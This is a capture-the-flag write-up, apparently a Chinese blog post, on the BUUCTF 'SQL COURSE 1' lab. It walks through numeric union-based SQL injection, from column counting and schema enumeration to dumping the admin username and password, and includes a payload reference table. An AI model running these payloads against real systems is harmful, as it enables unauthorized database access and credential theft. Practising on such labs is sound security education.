【BUUCTF】BUU SQL COURSE 1 1

先审题,题目名字应该是关于SQL注入的
在界面随便点点,发现是POST
在这里插入图片描述
进到burp里面看:id=1,id=2。推断可能是根据SQL查询得到的不同界面结果。
例如select * from 表名 where id=1;
在这里插入图片描述
在这个点进行sql注入尝试:

首先,判断其是字符型还是数字型
分别输入id=1 id=2-1看返回结果:
在这里插入图片描述
在这里插入图片描述
返回结果相同,所以是数字型

下一步:
使用order by来试数据表的列数:
?id=1+order+by+4–+
注:
空格的url编码是+,所以数据包中用+代替空格
–+的意思是#,也就是mysql的注释符,这样就可以把原本的代码后面的部分给注释掉,达到我们SQL注入的目的

在这里插入图片描述
发现回显没有结果
试试3,试试2,发现2有回显,所以试探出该表有两列

得到列数之后于是下一步:
使用union来试探表名
union特性:当前一个数据的where条件不存在为空的时候,会直接回显第二个语句的结果
因此可以利用union来试探表名,例如:

payload用途
id=200+union+select+1,database()–+显示出当前数据库的名字
?id=861’ union select 1,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),3–+查询(当前数据库下)的所有表名
?id=861’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),3–+爆破出users表的列名
?id=861’ union select 1,(select group_concat(password) from security.users) ,3–+根据列名查询用户名密码等信息

所以:
?id=999+union+select+1,database()–+
在这里插入图片描述
得到数据库名是news,于是接着查news数据库的所有表名:
?id=999+union+select+1,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))–+
在这里插入图片描述
查admin表的列名:
?id=999+union+select+1,(select+group_concat(column_name)+from+information_schema.columns+where+table_name=‘users’)–+
在这里插入图片描述
看到了username和password
所以查询:
?id=999+union+select+1,(select+username+from+admin)–+
在这里插入图片描述
得到用户名是admin
接着查密码:
?id=999+union+select+1,(select+password+from+admin)–+
在这里插入图片描述
输入用户名密码试试:
在这里插入图片描述
没有结果,考虑一下MD5解密,解不了
再试一次,发现原来是之前粘贴少了一个字母,成功拿到flag
在这里插入图片描述

  • 18
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值